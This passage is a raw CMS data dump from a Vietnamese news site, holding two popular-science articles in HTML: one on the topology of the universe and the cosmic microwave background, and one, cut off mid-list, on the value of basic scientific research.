'dong-dat-va-song-than-nguon-nang-luong-huy-diet', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '717', 'rght' => '718', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '413', 'name' => 'Topo của vũ trụ', 'code' => null, 'alias' => 'topo-cua-vu-tru', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Vấn đề nghiên cứu topo của vũ trụ đang gây chú ý của nhiều nhà vũ trụ học. Nhiều vũ trụ xét về mặt hình học là một vũ trụ vô hạn (infinite) song nếu chú ý đến topo (tức đến toàn cục) thì lại là một vũ trụ hữu hạn (finite). Nhiều quan sát CMB (Cosmic Microwave Background- Bức xạ Phông Vũ trụ) cũng được chính xác hóa thêm nhờ những chi tiết phát sinh từ những hệ quả topo. Bài viết này nhằm mục đích giới thiệu trong vài nét tổng quát ảnh hưởng của topo đến vũ trụ học.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (5).jpg" style="width: 227px; height: 142px;" /></div> <div> <br /> <strong>Topo (topology) là gì?</strong></div> <div> </div> <div> Topo là môn học nghiên cứu hình dạng của một không gian về các mặt cơ bản nhất đó là tính liên thông (connectedness), tính liên tục (continuity) và các biên (boundary). Những tính này bất biến đối với các phép biến đổi liên tục gồm các biến đổi như kéo dài, uốn cong mà không bao gồm các biến đổi như xé rách (tearing) hoặc dán dính (gluing).</div> <div> </div> <div> Xem hình 1 ta thấy một cái cốc, một hình xuyến và một hình xuyến xoắn là tương đương topo với nhau. <br /> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC1.jpg" /></div> <div> </div> <div> Hình 1. Cái cốc, hình xuyến và hình xuyến xoắn là tương đương topo với nhau.</div> <div> </div> <div> Quả thật như vậy chỉ cần các phép kéo dài và uốn cong ta có thể biến một hình xuyến thành một cái cốc (xem hình 2).</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC2.jpg" /></div> <div> </div> <div> Hình 2. Biến một hình xuyến thành cái cốc nhờ các phép biến đổi liên tục topo</div> <div> </div> <div> <strong>Hình học và topo</strong></div> <div> </div> <div> Cần phân biệt hình học (độ cong phẳng, dương hay âm?) và topo (dạng như thế nào, liên thông như thế nào?). Xét về mặt hình học có thể tồn tại 3 loại vũ trụ: vũ trụ phẳng (Euclidean, độ cong bằng không), vũ trụ cầu (đóng, hữu hạn và độ cong dương) và vũ trụ hyperbolic (mở, vô tận và độ cong âm), xem hình 3.</div> <div> </div> <div> Khi nói đến độ cong âm người ta thường nghĩ đến một không gian vô hạn. Song có thể có nhiều độ cong trong một topo, ví dụ một hình xuyến (torus) có độ cong âm ở mặt trong (inside edge) mặc dầu nó là một topo hữu hạn (finite).</div> <div> </div> <div> Thuyết tương đối tổng quát (với các phương trình Einstein vốn là những phương trình vi phân ) chỉ nói lên được tính định xứ (local) mà không thể xác định được tính toàn cục (global) tức topo của vũ trụ. Thuyết tương đối tổng quát không bất biến đối với các biến đổi đồng phôi (homeomorphism-xem chú thích) mà chỉ bất biến đối với các biến đổi vi phôi (diffeomorphism) tức các biến đổi tọa độ.</div> <div> </div> <div> Với một vũ trụ đồng nhất và đẳng hướng ta có lời giải là metric Friedmann-Lemaitre-Robertson-Walker (FLRW):</div> <div> </div> <div> ds2=gµvdxµdxv=-dt2+a2(η)[ dr2 + r2 (dθ2 + sin2θdΦ2)] </div> <div> 1 - kr2</div> <div> </div> <div> trong đó a = thừa số kích thước của vũ trụ, độ cong k =0,+1,-1 tương ứng với độ cong bằng không, độ cong dương và độ cong âm (xem hình vẽ 3).</div> <div> </div> <div> Giữa bán kính độ cong R và mật độ trung bình của vật chất trong vũ trụ có mối quan hệ R = a/|k|1/2 = 1/H|Ω-1|1/2, trong đó H = số Hubble, Ω = ρ/ρc còn ρc là mật độ ứng với vũ trụ phẳng. Ta có các vũ trụ với độ cong bằng không, độ cong dương và độ cong âm tương ứng với các mật độ Ω = 1, >1 và <1.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC3.jpg" /></div> <div> </div> <div> Hình 3 . Từ trái sang phải: độ cong phẳng, độ cong dương và độ cong âm </div> <div> </div> <div> Một yếu tố metric định xứ cho trước có thể tương ứng với một tập lớn mô hình vũ trụ khác nhau về mặt topo.</div> <div> </div> <div> Tồn tại vô số (đếm được) những dạng không gian với độ cong dương, tất cả đều là những không gian đóng và vô số không gian với độ cong âm trong đó một số là không gian đóng (hữu hạn) một số là không gian mở (vô tận). </div> <div> </div> <div> Thuyết tương đối mô tả một hình xuyến và một mặt phẳng với cùng những phương trình như nhau mặc dầu hình xuyến là hữu hạn trong khi mặt phẳng là vô hạn. Để xác định topo của vũ trụ cần những hiểu biết vật lý nằm ngoài lý thuyết tương đối (như CMB - Cosmic Microwave Background - Bức xạ Phông của Vũ trụ).</div> <div> </div> <div> Hãy hình dung một buồng gương, đó là cái phòng với 6 bức tường (gồm cả trần và nền) là gương. Nếu chúng ta vào một phòng như thế với vài ngọn nến thì vì hệ quả phản chiếu trên các tường bằng gương chúng ta có cảm giác lọt vào một không gian vô tận.</div> <div> </div> <div> Giống như trong một buồng gương (xem hình 4) sự vô tận của vũ trụ có thể chỉ là một ảo tưởng. Vũ trụ có thể hữu hạn trong thực tế. Ảo tưởng vô tận phát sinh từ hiện tượng tia sáng thực hiện một quỹ đạo chạy quanh không gian nhiều lần (khi vũ trụ là hữu hạn) và như thế tạo nên hình ảnh đa bội của từng thiên hà. </div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC4.jpg" /></div> <div> </div> <div> Hình 4 . Buồng gương gây hệ quả vô tận của một đối tượng hữu hạn</div> <div> </div> <div> Nếu trong buồng kính ta có 3 quả bóng thì bức tranh tạo nên là hình ảnh của vô số quả bóng như trong hình 5.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC5.jpg" /></div> <div> </div> <div> Hình 5. Ba quả bóng trong buồng kính tạo nên hình ảnh vô số quả bóng</div> <div> </div> <div> Buồng gương là hình tượng của một vũ trụ hữu hạn nhưng cho ảo tưởng vô tận. Lẽ dĩ nhiên vũ trụ không có biên để phản xạ ánh sáng song thay vì bị phản xạ như trong buồng gương thì ánh sáng có thể đi vòng quanh vũ trụ nhiều lần. Từ bức tranh các hình ảnh đa bội lặp lại người ta có thể suy ra kích thước và hình dáng thật sự của vũ trụ, tức xác định topo của vũ trụ.</div> <div> </div> <div> <strong>Tạo một hình </strong></div> <div> </div> <div> Topo có thể giúp ta tạo một hình xuyến (hoặc một dải Moebius) từ một mảnh phẳng của không thời gian bằng cách đồng nhất các đường mép (edge) đối diện của mảnh phẳng này (xem hình 6).</div> <div> </div> <div> Nói chung người ta biểu diễn một hình như phần trong của một đa diện (polyhedron) với các mặt đối nhau được đồng nhất từng đôi một.</div> <div> </div> <div> Trên hình 6 ta thấy nếu dán 2 mép của một hình vuông ta có một hình trụ, nếu dán các mép (tức đồng nhất các mép a với a, b với b) của một hình vuông ta có một hình xuyến, nếu dán các mép của hình bát giác (đồng nhất a với a, b với b, c với c,…) ta có một hình xuyến với 2 lỗ. Ta gọi số lỗ là genus vậy ví dụ hình xuyến 2 lỗ có genus = 2.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%206.jpg" /></div> <div> </div> <div> Hình 6. Tạo hình trụ, các hình xuyến 1 lỗ và 2 lỗ bằng cách dán các mép đối nhau (tức đồng nhất các mép)</div> <div> </div> <div> Chú ý hình xuyến S1x S1 có được nhờ đồng nhất các mép đối diện của một hình vuông là một không gian phẳng trong khi hình xuyến thông thường là không gian không phẳng. Song về mặt topo 2 hình xuyến này là tương đương. </div> <div> </div> <div> Hình trụ, hình xuyến một lỗ, hai lỗ là những không gian topo đa liên thông (multiplyconnected). Trong hình 7 ta có một topo đơn liên thông (cột một) và hai topo đa liên thông (cột 2 và 3).</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%207.jpg" /></div> <div> </div> <div> Hình 7. Đây là vài ví dụ của những đa tạp đồng phôi (homeomorphic) , những con số ở hàng dưới là số lỗ trong topo của chúng </div> <div> </div> <div> Phần trong của một đa diện 10 mặt ngũ giác mà từng đôi các mặt ngũ giác được đồng nhất với nhau sẽ là một không gian đóng với độ cong âm (compact hyperbolic space). </div> <div> </div> <div> Vậy vấn đề nghiên cứu topo vũ trụ là nằm trong những câu hỏi sau đây.</div> <div> </div> <div> Vũ trụ đóng hay mở? Vũ trụ có lỗ (hay tay quai-handle) không? Vũ trụ là liên thông hay đa liên thông? Những câu hỏi topo này thường bị bỏ quên bởi những nhà vũ trụ học. Trong một mô hình đầy đủ phải kể đến những câu hỏi topo này. Vũ trụ thực sự là sân khấu của những ảo tưởng quang học khổng lồ phát sinh vì những hiệu ứng thấu kính topo (topological lens).</div> <div> </div> <div> Nghiên cứu vũ trụ ta phải chú ý hai mặt: hình học và topo. Về mặt hình học ta có: không gian Euclide (độ cong bằng không), không gian cầu (độ cong dương) và không gian hyperbolic (độ cong âm). </div> <div> </div> <div> Không gian cầu trong mọi trường hợp là hữu hạn. Đối với hai loại không gian còn lại thì tính hữu hạn hoặc vô tận lại phụ thuộc vào topo. Nếu là topo đơn liên thông (simply-connected) thì chúng vô tận.</div> <div> </div> <div> Song đối với topo đa liên thông (như hình xuyến với một lỗ hay hai lỗ) thì chúng ta có khả năng xét những mô hình vũ trụ trong đó không gian là hữu hạn bất kể độ cong là như thế nào ngay cả lúc mật độ vật chất và hằng số vũ trụ là rất thấp (mà nếu chỉ xét hình học thì ta phải có không gian phẳng hoặc hyperbolic vô tận).</div> <div> </div> <div> Như vậy một không gian với độ cong âm có thể là hữu hạn nếu topo là đa liên thông.</div> <div> </div> <div> <strong>Một vài chi tiết toán học</strong></div> <div> </div> <div> Trong khuôn khổ của vũ trụ học chuẩn thì vũ trụ được mô tả bởi một đa tạp không thời gian M4 = RxM cộng với metric FLRW. Trong đó M = E3 (Euclidean), S3 (cầu) hoặc H3 (không gian hyperbolic có hình một cái yên ngựa). Điều này thường dẫn đến một sự hiểu nhầm: độ cong của M là tất cả điều gì cần thiết để xác định xem không gian 3 chiều là hữu hạn (finite) hay vô hạn (infinite). Bởi vì không gian M có thể chỉ là một trong những đa tạp thương (quotient manifold) khả dĩ. </div> <div> </div> <div> M= Mc / G</div> <div> </div> <div> Trong đó Mc = (E3,S3,H3) là không gian gọi là không gian phủ tổng quát (universal covering). Không gian M là không gian đa liên thông. Phép G cho phép phủ Mc bằng những tế bào gọi là đa diện cơ bản (fundamental polyhedron-FP) và thực hiện những phép tịnh tiến gắn liền với việc đồng nhất các mép (xem hình 8).</div> <div> </div> <div> Ví dụ hình xuyến T2=E2/G trong đó FP=là một hình chữ nhật với các mép đồng nhất như trên hình vẽ số 6.</div> <div> </div> <div> Trong một không gian đa liên thông bất kỳ hai điểm nào cũng có thể được nối liền bởi nhiều hơn một đường trắc địa và hệ quả trong một vũ trụ hữu hạn ánh sáng từ một đối tượng có thể đến với một quan sát viên theo nhiều quỹ đạo khác nhau – và như thế trên bầu trời ta có nhiều hình ảnh của một nguồn bức xạ.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%208.jpg" /></div> <div> </div> <div> Hình 8.Cư dân trong FD và trong không gian phủ</div> <div> </div> <div> Ta lát không gian phủ tổng quát (universal covering) với nhiều FD bằng cách đồng nhất các mặt mép.</div> <div> </div> <div> Một cư dân của hình xuyến khi nhìn về phía trước thấy phía sau của mình và nhìn thấy trong không gian phủ tổng quát một mạng các hình ảnh của mình. (xem hình 8).</div> <div> </div> <div> Với những không gian đa liên thông (có một số lỗ ) số lượng N các bản copy của FD trong bức tranh quan sát vũ trụ có thể đánh giá bởi công thức: N=V/VFD. Trong đó V là thể tích của vùng vũ trụ quan sát được còn VFD là thể tích của FD.</div> <div> </div> <div> <strong>Topo và CMB</strong></div> <div> </div> <div> Trong vũ trụ học CMB là bức xạ nhiệt tàn dư từ lúc Big Bang (xem hình 9).</div> <div> </div> <div> CMB có thể giúp chúng ta xác định topo. Một phương pháp để làm việc đó là thực hiện mô hình toán học bằng máy tính của CMB đối với một topo nào đó rồi so sánh với quan trắc vũ trụ.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%209.jpg" /></div> <div> </div> <div> Hình 9 . Bản đồ Bức xạ Phông Vũ trụ CMB trên bầu trời</div> <div> </div> <div> Tính đa liên thông được khai thác để tìm ra những bất thường trong phổ năng lượng do hệ quả topo. Một điểm bức xạ theo nhiều hướng khác nhau và ánh sáng sau khi đi vòng quanh vũ trụ nhiều lần sẽ đến người quan sát và cho chúng ta nhiều hình ảnh đa bội của điểm bức xạ.</div> <div> </div> <div> Nhiều khía cạnh của CMB có thể bị thay đổi khi topo vũ trụ là đa liên thông (hữu hạn):</div> <div> </div> <div> (1) Topo đa liên thông phá hủy tính đẳng hướng và tính đồng nhất toàn cục, xuất hiện trên CMB một phân bố bất đẳng hướng và bất đồng nhất ứng với các hình ảnh ảo (ghost) của nhiều điểm,</div> <div> </div> <div> (2) Phổ các loại thăng giáng là gián đoạn, điều này phản ánh một không gian hữu hạn (tương tự như trong Cơ học lượng tử thể tích hữu hạn cho phổ năng lượng gián đoạn),</div> <div> </div> <div> (3) Bức tranh các thăng giáng nhiệt độ phản ánh sự xuất hiện lặp lại của những điểm nóng và lạnh do hệ quả thấu kính topo.</div> <div> </div> <div> <strong>Kết luận</strong></div> <div> </div> <div> Topo vũ trụ là một lĩnh vực quan trọng phối hợp các lý thuyết toán học với những định luật vật lý. Chúng ta có khả năng quan sát được topo vũ trụ một cách gián tiếp nhờ quan sát CMB. Hiểu được topo vũ trụ chúng ta có thể nghiên cứu chính xác hơn ảnh hưởng của năng-lượng vật chất lên không thời gian.Trong vũ trụ học hiện đại các nhà khoa học sử dụng toàn diện vật lý, hình học lẫn topo.</div> <div> </div> <div> Dường như kết hợp lý thuyết và quan trắc các nhà vũ trụ học đối diện với hiện tượng một không gian với độ cong âm (mật độ vật chất thấp) lại có thể là hữu hạn về toàn cục và trong trường hợp đó ta phải có một topo đa liên thông. Thiên nhiên vốn kinh hãi cái vô cùng (Nature abhors an infininity).</div> <div> ----------------</div> <div> Tài liệu tham khảo và chú thích</div> <div> </div> <div> [1] Mark Baltovic, The topology of the Universe </div> <div> </div> <div> [2] M.J.Reboucas, G.I.Gomero, Cosmic topology:A brief Overview, Brazilian Journal of Physics, vol.34, no.4A, December,2004 </div> <div> </div> <div> [3] Jean-Pierre Luminet, Is the Universe crumpled?</div> <div> </div> <div> [4] Janna Levin, Topology and the Cosmic Microwave Background,</div> <div> arXiv:gr-qc/0108043v2 20 Aug2001, Physics Reports 365(2002) 251-333</div> <div> </div> <div> [5] Biến đổi đồng phôi là một biến đổi liên tục không chứa phép cắt và dán.</div> ', 'images' => '201606160312445e740f261196151a0b02c7b2fccf6ae6.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75132', 'slug' => 'topo-cua-vu-tru', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '715', 'rght' => '716', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '412', 'name' => 'Vai trò của khoa học cơ bản?', 'code' => null, 'alias' => 'vai-tro-cua-khoa-hoc-co-ban', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Hơn 200 năm trước, vào đầu năm 1782, nhà vật lý và triết học người Đức-Christof Lichtenberg đã viết trong nhật kí của mình: </div> <div> “Việc tìm ra một phương thuốc công hiệu tức thời cho những cơn đau răng có thể có giá trị chẳng kém, thậm chí còn nhiều hơn so với việc tìm ra một hành tinh mới…nhưng tôi không thể tìm thấy cách nào để bắt đầu nhật ký năm nay tốt hơn là tin tức về một hành tinh mới.”</div> <div> Hành tinh được đề cập ở đây chính là Sao Thiên Vương, phát hiện ra vào năm 1781. Vấn đề mà Lichtenberg ngụ ý là sự so sánh tương quan về mức độ quan trọng giữa việc tìm kiếm các giải pháp kĩ thuật cho các vấn đề cụ thể so với việc tìm tòi kiến thức cơ bản mới. Ngày nay, nhu cầu đặt ra và xem xét vấn đề ấy thậm chí còn cấp thiết hơn cả 200 năm về trước. <br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (4).jpg" style="width: 227px; height: 167px;" /></div> <div> </div> <div> <strong>1. Nghiên cứu cơ bản đối lập với nghiên cứu ứng dụng</strong></div> <div> <br /> Trong công nghiệp, thuật ngữ “nghiên cứu” thường dùng để chỉ những cải tiến với kĩ thuật đang tồn tại, tuy nhiên việc này với các nhà khoa học hàn lâm đơn thuần chỉ được coi là sự phát triển mới. Khác biệt trong quan niệm về thuật ngữ “nghiên cứu” có thể dẫn đến nhiều hiểu lầm. Trong bài này tôi dùng từ đó theo cách hiểu của các nhà khoa học hàn lâm.</div> <div> Hiểu lầm cũng xuất phát từ những giả thuyết thường gặp có tính thúc đẩy cho lợi ích mà nghiên cứu cơ bản mang lại dựa theo “mô hình tuyến tính”, trong đó nghiên cứu cơ bản kéo theo nghiên cứu ứng dụng, để rồi giúp công nghiệp phát triển và cuối cùng là sản phẩm mới. Tiến trình này đã xảy ra trong nhiều trường hợp, nhưng cũng có thể dễ dàng tìm được các trường hợp, trong đó sự tiến bộ của công nghệ lại là cái dẫn đến những tiến bộ trong nghiên cứu cơ bản, như là George Porter (nhận giải thưởng Nobel Hóa học) – người đã chỉ ra rằng “nhiệt động lực học mắc nợ động cơ hơi nước hơn cả động cơ hơi nước mắc nợ khoa học.”</div> <div> </div> <div> Đáng tiếc là, những trường hợp như vậy khiến một số người ủng hộ một mô hình phản tuyến tính. Ví dụ như Terence Kealey vừa mới viết một cuốn sách1 biện luận rằng sự phát triển kinh tế không chịu ảnh hưởng bất cứ thứ gì từ nghiên cứu cơ bản - và vì vậy nên không cần phải nhận được sự hỗ trợ từ Chính phủ. Ông ta chỉ ra một cách xác thực rằng sự phát triển của năng lượng hơi nước, kĩ thuật luyện kim và nhà máy dệt, các yếu tố nền tảng thúc đẩy sự khởi đầu cuộc cách mạng công nghiệp ở Anh, đều là kết quả của tri thức khoa học và các nguyên tắc cơ khí từ thời trước thế kỷ 17, và chẳng hề chịu ảnh hưởng từ bất kì điều gì đến cuộc cách mạng khoa học thế kỉ 17 (cơ học Newton, tích phân, v.v ). Điều này đúng nhưng nó không đúng với nhiều bước phát triển của công nghiệp sau này, mà tôi hi vọng là những ví dụ tôi đưa ra sau đây sẽ chứng minh được.</div> <div> Vậy nên, mối liên hệ giữa khoa học và công nghệ không phải là tuyến tính mà cũng không phải là phản tuyến tính, mà thực tế là rất phi tuyến tính, và người ta đã từng khẳng định rằng2: “nghiên cứu lịch sử những mô hình thành công đã nhiều lần chỉ ra mật độ các tác động tương hỗ giữa các ngành khoa học cơ bản (vốn ban đầu không liên quan tới nhau), công nghệ, và sản phẩm, tấp nập tới mức không thể tách rời và phân biệt, chúng là tất cả các thành phần đan quện chặt chẽ trong cùng một thực thể”. Tuy vậy có thể khẳng định một sự phân biệt trên diện rộng giữa khoa học (tri thức) và công nghệ (cái được ứng dụng từ tri thức) và giữa các hình thức khác nhau của khoa học.</div> <div> Tôi không thích thuật ngữ khoa học cơ bản và khoa học ứng dụng: xét cho cùng ai có thể nói trước cái gì là sẽ ứng dụng được? Tuy nhiên, những thuật ngữ này có thể hữu dụng nếu chúng được định nghĩa dựa trên động cơ thúc đẩy:</div> <div> Khoa học cơ bản – được thúc đẩy bằng sự ham hiểu biết. </div> <div> Khoa học ứng dụng – dành để trả lời cho những câu hỏi cụ thể.</div> <div> Từ định nghĩa này, về sau tôi sẽ biện luận rằng Chính phủ có một trách nhiệm đặc biệt để hỗ trợ cho nghiên cứu cơ bản, trong khi việc đầu tư nghiên cứu ứng dụng nhìn chung có thể nhường lại cho các doanh nghiệp. </div> <div> Tất nhiên, sự phân biệt đó luôn luôn không rõ ràng và thuật ngữ “nghiên cứu chiến lược” thỉnh thoảng được sử dụng để nói về khoa học như một phạm trù trung gian – cái tạo ra cơ hội cao trong việc tạo ra ứng dụng, cho dù có thể nó được thực hiện thuần túy chỉ để thỏa mãn sự tò mò và qua đó dẫn đến những hiểu biết nền tảng mới. Việc nghiên cứu những đặc tính của chất bán dẫn hai chiều là một ví dụ. </div> <div> </div> <div> <strong>2. Lợi ích của khoa học cơ bản</strong></div> <div> <br /> Có thể phân biệt ra bốn nhóm lợi ích, được đề cập lần lượt như sau:</div> <div> Những đóng góp cho văn hóa.</div> <div> Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn. </div> <div> Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp. </div> <div> Giáo dục.</div> <div> 2.1. Những đóng góp cho văn hóa.</div> <div> Bob Wilson (giám đốc đầu tiên của Fermilab, một phòng thí nghiệm lớn gần Chicago dành cho vật lý hạt/máy gia tốc) khi được một Ủy ban Quốc hội hỏi rằng “Phòng thí nghiệm của anh sẽ đóng góp gì để bảo vệ nước Mỹ?”. Câu trả lời là: “Không gì cả, nhưng nó sẽ làm cho nước Mỹ đáng được bảo vệ”. Tuy nhiên, nhìn chung các nhà khoa học thường e ngại trong những cuộc tranh luận về sự đóng góp của họ đối với văn hóa, xã hội. Hiện tượng này thực ra có từ rất cổ xưa như trong đoạn đối thoại dưới đây trong cuốn Cộng hòa của Plato:</div> <div> Socrates: Chúng ta có nên coi thiên văn học là một chủ đề đáng nghiên cứu? </div> <div> Glaucon: Tôi cho là nên, hiểu biết về mùa màng, về tháng và năm, sẽ hữu ích cho mục đích quân sự, cũng như trong nông nghiệp và hàng hải.</div> <div> Socrates: Tôi thấy thú vị khi thấy ông e ngại như thế nào, vì sợ rằng mọi người sẽ kết tội ông đã đề nghị nghiên cứu những thứ không có ích lợi gì.</div> <div> Tôi cho rằng các nhà khoa học phải đưa ra các luận điểm có sức thuyết phục về sự đóng góp của khoa học trong thúc đẩy văn hóa. Cụ thể như những kiến thức về hệ Mặt trời, mã di truyền, Mặt trời làm việc như thế nào, tại sao bầu trời lại có màu xanh và sự mở rộng của Vũ trụ làm cách nhìn của chúng ta thay đổi, cuộc sống của chúng ta phong phú lên. Chúng ta cần làm cho mọi người thấy việc phổ cập hóa vật lý hạt cơ bản là có ích không chỉ về kinh tế mà còn về văn hóa, từ đó thuyết phục mọi người rằng nên tiếp tục khám phá biên giới này của tri thức. </div> <div> 2.2 Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn.</div> <div> Không quá khó để chỉ ra rằng chi phí cho khoa học cơ bản thường dẫn đến những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn, có khả năng sinh lợi cao và có thể dễ dàng bồi hoàn chi phí đầu tư. Casimir - nhà vật lý lý thuyết nổi tiếng, cựu Giám đốc Nghiên cứu của Philips đã đưa ra một danh sách các ví dụ tuyệt vời3:</div> <div> “Tôi đã được nghe nói rằng vai trò của nghiên cứu hàn lâm trong các cải tiến kỹ thuật là rất ít. Đây là luận điểm ngớ ngẩn nhất trong những điều vô nghĩa nhất mà tôi được biết. Chắc chắn một ai đó suy đoán vẩn vơ rằng liệu tranzito có phải do những người không được đào tạo và không đóng góp gì cho cơ học sóng hay thuyết lượng tử chất rắn tìm thấy. Sự thật là những người phát hiện ra tranzito đều nghiên cứu sâu và có nhiều đóng góp tới thuyết lượng tử chất rắn.</div> <div> Một ai đó có thể hỏi liệu rằng các mạch cơ bản trong máy tính có phải được tìm thấy bởi những người chủ tâm muốn xây dựng máy tính. Đúng là như vậy, chúng đã được phát kiến vào những năm 30 bởi những nhà vật lý muốn đếm các hạt cơ bản bởi vì họ quan tâm đến vật lý hạt nhân.</div> <div> Một ai đó có thể hỏi rằng liệu năng lượng hạt nhân được khám phá bởi vì có những người muốn một nguồn năng lượng mới, hay sự thôi thúc có năng lượng mới đã dẫn đến việc tìm ra hạt nhân. Có thể - nhưng nó đã không xảy ra như vậy.</div> <div> Một ai đó hỏi rằng liệu ngành công nghiệp điện tử có thể tồn tại mà không có những khám phá về electron của những người như Thomson và H.A. Lorentz. Một lần nữa, nó đã không xảy ra như vậy. </div> <div> Tôi nghĩ thật hầu như không có một ví dụ nào của những cải tiến trong thế kỷ 20 mà không mắc nợ khoa học cơ bản.”</div> <div> Những ví dụ của Casimir có một số đặc điểm chung :</div> <div> Những ứng dụng của kiến thức mới có lợi nhuận cao.</div> <div> Những ứng dụng hoàn toàn không được nhìn thấy khi các phát hiện nền tảng được khám phá.</div> <div> Có một khoảng thời gian dài giữa những khám phá nền tảng và những ứng dụng.</div> <div> Nhìn chung các nhà phát minh trong khoa học cơ bản không trở nên giàu có.</div> <div> Đã có một số cố gắng nhằm lượng hóa lợi ích to lớn từ các nghiên cứu nền tảng. Tôi sẽ đề cập 2 ví dụ:</div> <div> 1. Một nghiên cứu gần đây của Tổ chức Khoa học Quốc gia Hoa Kỳ cho thấy rằng 73% các bài báo trích dẫn trong các bằng sáng chế công nghiệp là các nghiên cứu được công bố một cách công cộng, mà phần đông là những bài báo nghiên cứu cơ bản được thực hiện bởi những trường đại học hàng đầu và các phòng thí nghiệm của Chính phủ. 2. Một nghiên cứu có nhiều trích dẫn bởi Mansfield5 vào năm 1991 đã chỉ ra rằng đầu tư của cộng đồng vào khoa học cơ bản có tỉ lệ lợi nhuận là 28%. Con số của Mansfield được lấy ra từ 75 hãng lớn nhất ở Mỹ trong 7 ngành công nghiệp (xử lý thông tin, thiết bị điện, hóa học, dụng cụ, dược phẩm, kim loại và dầu mỏ). Từ ban điều hành nghiên cứu và phát triển của các công ty, Mansfield đã thu thập được thông tin về những sản phẩm mới, sản phẩm được thương mại hóa trong giai đoạn 1975- 1985, mà theo các ban điều hành cho biết thì các sản phẩm này đã không thể ra đời (hoặc chậm hơn rất nhiều) nếu không có các nghiên cứu hàn lâm được thực hiện trong khoảng 15 năm trước khi sáng kiến đầu tiên được công bố. </div> <div> 2.3. Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp</div> <div> Với khái niệm những phát hiện ngoài dự kiến, tôi muốn nói về các thiết bị và kĩ thuật được phát triển để tiến hành các nghiên cưu cơ bản nhưng sau này người ta nhận ra cả những lợi ích khác nữa. Tôi đưa ra vài ví dụ từ vật lý hạt cơ bản (nhiều trong chúng có sự đóng góp từ vật lý hạt nhân):</div> <div> Máy gia tốc ( ngày nay có khoảng 10000 máy gia tốc trên thế giới, chỉ có 100 cái trong số đó sử dụng cho mục đích nghiên cứu ban đầu trong vật lý hạt nhân và vật lý hạt cơ bản).</div> <div> - Ngành công nghiệp bán dẫn. </div> <div> - Thức ăn tiệt trùng, y tế, rác thải.</div> <div> - Xử lý bức xạ. </div> <div> - Liệu pháp điều trị ung thư. </div> <div> - Tiêu hủy rác thải hạt nhân. </div> <div> - Thí nghiệm không phá mẫu. </div> <div> - Sản xuất năng lượng (máy khuếch đại năng 